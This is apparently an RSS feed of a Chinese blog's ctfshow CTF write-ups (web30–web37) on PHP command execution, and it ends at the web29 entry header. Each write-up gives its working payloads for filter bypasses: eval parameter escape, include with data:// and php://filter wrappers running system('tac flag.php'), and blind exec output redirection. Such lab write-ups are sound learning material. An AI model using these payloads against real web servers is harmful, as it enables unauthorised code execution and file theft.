<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>命令执行 on 波奇大王的 &#34;Hugo Project&#34;</title>
        <link>https://www.guitarhero.wang/notes/ctf/command-execution/</link>
        <description>Recent content in 命令执行 on 波奇大王的 &#34;Hugo Project&#34;</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>zh-cn</language>
        <lastBuildDate>Wed, 02 Sep 2026 12:15:02 +0800</lastBuildDate><atom:link href="https://www.guitarhero.wang/notes/ctf/command-execution/index.xml" rel="self" type="application/rss+xml" /><item>
            <title>ctfshow web37</title>
            <link>https://www.guitarhero.wang/notes/ctf/command-execution/web37/</link>
            <pubDate>Wed, 02 Sep 2026 12:15:02 +0800</pubDate>
            <guid>https://www.guitarhero.wang/notes/ctf/command-execution/web37/</guid>
            <description>&lt;h1 id=&#34;ctfshow-web37&#34;&gt;ctfshow web37&#xD;&#xA;&lt;/h1&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;题号&lt;/strong&gt;：web37&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;难度&lt;/strong&gt;：⭐&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;考点&lt;/strong&gt;：命令执行&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;日期&lt;/strong&gt;：2026-9-2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;题目描述&#34;&gt;题目描述&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260902121247&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260902121247.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;解题思路&#34;&gt;解题思路&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;1.因为是文件包含，所以想到伪协议。又因为过滤了flag，就用占位符替代&lt;/p&gt;&#xA;&lt;h2 id=&#34;payload--关键操作&#34;&gt;Payload / 关键操作&#xD;&#xA;&lt;/h2&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1.?c=data://text/plain,&amp;lt;?php system(&amp;#39;tac fla?.php&amp;#39;) ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;复现截图&#34;&gt;复现截图&#xD;&#xA;&lt;/h2&gt;&lt;ol&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260902121453&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260902121453.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;对应课程章节&#34;&gt;对应课程章节&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;命令执行&lt;/p&gt;&#xA;&lt;h2 id=&#34;踩坑记录--复盘&#34;&gt;踩坑记录 / 复盘&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;无&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>ctfshow web36</title>
            <link>https://www.guitarhero.wang/notes/ctf/command-execution/web36/</link>
            <pubDate>Wed, 02 Sep 2026 10:57:04 +0800</pubDate>
            <guid>https://www.guitarhero.wang/notes/ctf/command-execution/web36/</guid>
            <description>&lt;h1 id=&#34;ctfshow-web36&#34;&gt;ctfshow web36&#xD;&#xA;&lt;/h1&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;题号&lt;/strong&gt;：web36&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;难度&lt;/strong&gt;：⭐&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;考点&lt;/strong&gt;：文件包含（配合伪协议）&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;日期&lt;/strong&gt;：2026-9-2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;题目描述&#34;&gt;题目描述&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260902105521&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260902105521.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;解题思路&#34;&gt;解题思路&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;1.真就一招鲜吃遍天，和Web35基本一样，就是因为过滤了数字所以将数字的参数改成字母就行了&lt;/p&gt;&#xA;&lt;h2 id=&#34;payload--关键操作&#34;&gt;Payload / 关键操作&#xD;&#xA;&lt;/h2&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1.[[Web35|[&amp;#34;Web35&amp;#34;,&amp;#34;命令执行&amp;#34;]]]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;复现截图&#34;&gt;复现截图&#xD;&#xA;&lt;/h2&gt;&lt;h2 id=&#34;对应小迪课程章节&#34;&gt;对应小迪课程章节&#xD;&#xA;&lt;/h2&gt;&lt;h2 id=&#34;踩坑记录--复盘&#34;&gt;踩坑记录 / 复盘&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;无&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>ctfshow web35</title>
            <link>https://www.guitarhero.wang/notes/ctf/command-execution/web35/</link>
            <pubDate>Tue, 01 Sep 2026 19:02:08 +0800</pubDate>
            <guid>https://www.guitarhero.wang/notes/ctf/command-execution/web35/</guid>
            <description>&lt;h1 id=&#34;ctfshow-web35&#34;&gt;ctfshow web35&#xD;&#xA;&lt;/h1&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;题号&lt;/strong&gt;：web35&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;难度&lt;/strong&gt;：⭐&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;考点&lt;/strong&gt;：命令执行配合伪协议&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;日期&lt;/strong&gt;：2026-9-1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;题目描述&#34;&gt;题目描述&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260901190106&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260901190106.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;解题思路&#34;&gt;解题思路&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;1.还是和Web34一样的操作&lt;/p&gt;&#xA;&lt;h2 id=&#34;payload--关键操作&#34;&gt;Payload / 关键操作&#xD;&#xA;&lt;/h2&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1.?c=include$_GET[1]?&amp;gt;&amp;amp;1=data://text/plain,&amp;lt;?php system(&amp;#39;tac flag.php&amp;#39;) ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;复现截图&#34;&gt;复现截图&#xD;&#xA;&lt;/h2&gt;&lt;ol&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260901190152&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260901190152.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;对应课程章节&#34;&gt;对应课程章节&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;RCE命令执行&lt;/p&gt;&#xA;&lt;h2 id=&#34;踩坑记录--复盘&#34;&gt;踩坑记录 / 复盘&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;无&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>ctfshow web34</title>
            <link>https://www.guitarhero.wang/notes/ctf/command-execution/web34/</link>
            <pubDate>Tue, 01 Sep 2026 13:55:37 +0800</pubDate>
            <guid>https://www.guitarhero.wang/notes/ctf/command-execution/web34/</guid>
            <description>&lt;h1 id=&#34;ctfshow-web34&#34;&gt;ctfshow web34&#xD;&#xA;&lt;/h1&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;题号&lt;/strong&gt;：web34&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;难度&lt;/strong&gt;：⭐&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;考点&lt;/strong&gt;：命令执行（配合伪协议）&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;日期&lt;/strong&gt;：2026-9-1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;题目描述&#34;&gt;题目描述&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260901135352&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260901135352.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;解题思路&#34;&gt;解题思路&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;1.和Web33.32还是一样构造文件包含配合伪协议即可&lt;/p&gt;&#xA;&lt;h2 id=&#34;payload--关键操作&#34;&gt;Payload / 关键操作&#xD;&#xA;&lt;/h2&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1./?c=include$_GET[1]?&amp;gt;&amp;amp;1=data://text/plain,&amp;lt;?php system(&amp;#39;tac flag.php&amp;#39;) ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;复现截图&#34;&gt;复现截图&#xD;&#xA;&lt;/h2&gt;&lt;ol&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260901135511&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260901135511.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;对应小迪课程章节&#34;&gt;对应小迪课程章节&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;RCE命令执行&lt;/p&gt;&#xA;&lt;h2 id=&#34;踩坑记录--复盘&#34;&gt;踩坑记录 / 复盘&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;无&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>ctfshow web33</title>
            <link>https://www.guitarhero.wang/notes/ctf/command-execution/web33/</link>
            <pubDate>Sun, 30 Aug 2026 18:02:59 +0800</pubDate>
            <guid>https://www.guitarhero.wang/notes/ctf/command-execution/web33/</guid>
            <description>&lt;h1 id=&#34;ctfshow-web33&#34;&gt;ctfshow web33&#xD;&#xA;&lt;/h1&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;题号&lt;/strong&gt;：web33&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;难度&lt;/strong&gt;：⭐&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;考点&lt;/strong&gt;：Web33&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;日期&lt;/strong&gt;：2026-8-30&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;题目描述&#34;&gt;题目描述&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260830180048&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260830180048.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;解题思路&#34;&gt;解题思路&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;1.和32思路基本一样，就是构造文件包含漏洞配合伪协议就行&lt;/p&gt;&#xA;&lt;h2 id=&#34;payload--关键操作&#34;&gt;Payload / 关键操作&#xD;&#xA;&lt;/h2&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1./?c=include$_GET[1]?&amp;gt;&amp;amp;1=data://text/plain,&amp;lt;?php system(&amp;#39;ls&amp;#39;) ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2.?c=include$_GET[1]?&amp;gt;&amp;amp;1=php://filter/read=convert.base64-encode/resource=flag.php&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;复现截图&#34;&gt;复现截图&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;1.&lt;img alt=&#34;Pasted image 20260830180200&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260830180200.png&#34;&gt;&#xA;2.&lt;img alt=&#34;Pasted image 20260830180230&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260830180230.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;对应课程章节&#34;&gt;对应课程章节&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;RCE命令执行&lt;/p&gt;&#xA;&lt;h2 id=&#34;踩坑记录--复盘&#34;&gt;踩坑记录 / 复盘&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;神不会在同一个地方放错&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>ctfshow web32</title>
            <link>https://www.guitarhero.wang/notes/ctf/command-execution/web32/</link>
            <pubDate>Sat, 29 Aug 2026 11:57:33 +0800</pubDate>
            <guid>https://www.guitarhero.wang/notes/ctf/command-execution/web32/</guid>
            <description>&lt;h1 id=&#34;ctfshow-web32&#34;&gt;ctfshow web32&#xD;&#xA;&lt;/h1&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;题号&lt;/strong&gt;：web32&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;难度&lt;/strong&gt;：⭐⭐&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;考点&lt;/strong&gt;：命令执行配合制造漏洞代码&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;日期&lt;/strong&gt;：2026-8-29&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;题目描述&#34;&gt;题目描述&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260829113015&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260829113015.png&#34;&gt;&#xA;将大部分常规思路代码都过滤了，尤其是分号的过滤，因为我们的普遍认知都是php中每个想要执行的代码后面都必须存在分号&lt;/p&gt;&#xA;&lt;h2 id=&#34;解题思路&#34;&gt;解题思路&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;1.发现过滤了分号就去思考有什么不需要用到分号或者只用一次分号就能解决问题的办法&#xA;2.然后聪明的你就想到了通过构造文件包含漏洞配合伪协议来解决这题&lt;/p&gt;&#xA;&lt;p&gt;下面的两个payload都可以获取flag&lt;/p&gt;&#xA;&lt;h2 id=&#34;payload--关键操作&#34;&gt;Payload / 关键操作&#xD;&#xA;&lt;/h2&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;一.?c=include$_GET[1]?&amp;gt;&amp;amp;1=data://text/plain,&amp;lt;?php system(&amp;#39;tac flag.php&amp;#39;);?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;二.?c=include$_GET[1]?&amp;gt;&amp;amp;1=php://filter/read=convert.base64-encode/resource=flag.php&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;复现截图&#34;&gt;复现截图&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;一.&lt;img alt=&#34;Pasted image 20260829115538&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260829115538.png&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;二.&lt;img alt=&#34;Pasted image 20260829115323&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260829115323.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;对应课程章节&#34;&gt;对应课程章节&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;RCE命令执行&lt;/p&gt;&#xA;&lt;h2 id=&#34;踩坑记录--复盘&#34;&gt;踩坑记录 / 复盘&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;1.正常来说分号是php代码的结束符，没有分号就会报错。但这有个小细节:?&amp;gt;这个也可以作为php代码的结束符，所以一般php代码的最后一个代码都可以不用分号&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>ctfshow web31</title>
            <link>https://www.guitarhero.wang/notes/ctf/command-execution/web31/</link>
            <pubDate>Fri, 28 Aug 2026 11:26:36 +0800</pubDate>
            <guid>https://www.guitarhero.wang/notes/ctf/command-execution/web31/</guid>
            <description>&lt;h1 id=&#34;ctfshow-web31&#34;&gt;ctfshow web31&#xD;&#xA;&lt;/h1&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;题号&lt;/strong&gt;：web31&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;难度&lt;/strong&gt;：⭐⭐&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;考点&lt;/strong&gt;：RCE中的“参数逃逸”&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;日期&lt;/strong&gt;：2026-8-28&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;题目描述&#34;&gt;题目描述&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260828105908&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260828105908.png&#34;&gt;&#xA;基本将之前的绕过思路全部阻断了&lt;/p&gt;&#xA;&lt;h2 id=&#34;解题思路&#34;&gt;解题思路&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;1.看到没过滤exec，就以为和上题思路一样将内容全部写到自定义文件里面，知道我看到了题目过滤了“.”，那不卡了吗&#xA;2.然后就想到了萧瑟迪的一招“参数逃逸”，就是自己创建个参数去执行命令，然后自己创建的参数又不受题目的限制&lt;/p&gt;&#xA;&lt;h2 id=&#34;payload--关键操作&#34;&gt;Payload / 关键操作&#xD;&#xA;&lt;/h2&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;?c=eval($_GET[1]);&amp;amp;1=system(&amp;#39;tac flag.php&amp;#39;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;复现截图&#34;&gt;复现截图&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;2.&lt;img alt=&#34;Pasted image 20260828112522&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260828112522.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;对应课程章节&#34;&gt;对应课程章节&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;RCE命令执行&lt;/p&gt;&#xA;&lt;h2 id=&#34;踩坑记录--复盘&#34;&gt;踩坑记录 / 复盘&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;开始也想过参数逃逸，但是我看到题目实际是过滤了引号的，我以为没有引号就创建不了参数，结果参数是可以以数字形式创建的&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>ctfshow webXXX - 题目名</title>
            <link>https://www.guitarhero.wang/notes/ctf/command-execution/web30/</link>
            <pubDate>Fri, 28 Aug 2026 10:31:09 +0800</pubDate>
            <guid>https://www.guitarhero.wang/notes/ctf/command-execution/web30/</guid>
            <description>&lt;h1 id=&#34;ctfshow-webxxx---题目名&#34;&gt;ctfshow webXXX - 题目名&#xD;&#xA;&lt;/h1&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;题号&lt;/strong&gt;：Web30&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;难度&lt;/strong&gt;：⭐&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;考点&lt;/strong&gt;：RCE命令执行（无回显）&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;日期&lt;/strong&gt;：2026-8-28&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;题目描述&#34;&gt;题目描述&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260828102010&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260828102010.png&#34;&gt;&#xA;来到靶场，发现其多过滤了system和php&lt;/p&gt;&#xA;&lt;h2 id=&#34;解题思路&#34;&gt;解题思路&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;1.因为只过滤了system，我们还可以去使用其他命令执行的函数，比如（我写这题想到的）exec，shell_exec等等，但是exec和shell_exec都是无法回显到页面上来的&#xA;2.遇到无回显我们会怎么办呢？一个是带外查询，一个就是本地文件创建于访问。因为我们是要查看具体的flag值，所以得选择后者&#xA;3.在使用ls查看本地文件的同时创建一个自定义文件让它将数据记录在里面&#xA;4.然后去访问一下furina.txt文件，发现flag确实是在本级目录&#xA;5.然后再用tac命令配合文件创建并查看即可&lt;/p&gt;&#xA;&lt;h2 id=&#34;payload--关键操作&#34;&gt;Payload / 关键操作&#xD;&#xA;&lt;/h2&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3.?c=exec(&amp;#34;ls &amp;gt;&amp;gt; furina.txt&amp;#34;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;5.?c=exec(&amp;#34;tac fla?.ph? &amp;gt; furina.txt&amp;#34;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;复现截图&#34;&gt;复现截图&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;3.&lt;img alt=&#34;Pasted image 20260828102613&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260828102613.png&#34;&gt;&#xA;4.&lt;img alt=&#34;Pasted image 20260828102659&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260828102659.png&#34;&gt;&#xA;5.&#xA;&lt;img alt=&#34;Pasted image 20260828103020&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260828103020.png&#34;&gt;&#xA;&lt;img alt=&#34;Pasted image 20260828103041&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260828103041.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;对应课程章节&#34;&gt;对应课程章节&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;RCE命令执行&lt;/p&gt;&#xA;&lt;h2 id=&#34;踩坑记录--复盘&#34;&gt;踩坑记录 / 复盘&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;无&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>ctfshow web29</title>
            <link>https://www.guitarhero.wang/notes/ctf/command-execution/web29/</link>
            <pubDate>Fri, 28 Aug 2026 09:56:06 +0800</pubDate>
            <guid>https://www.guitarhero.wang/notes/ctf/command-execution/web29/</guid>
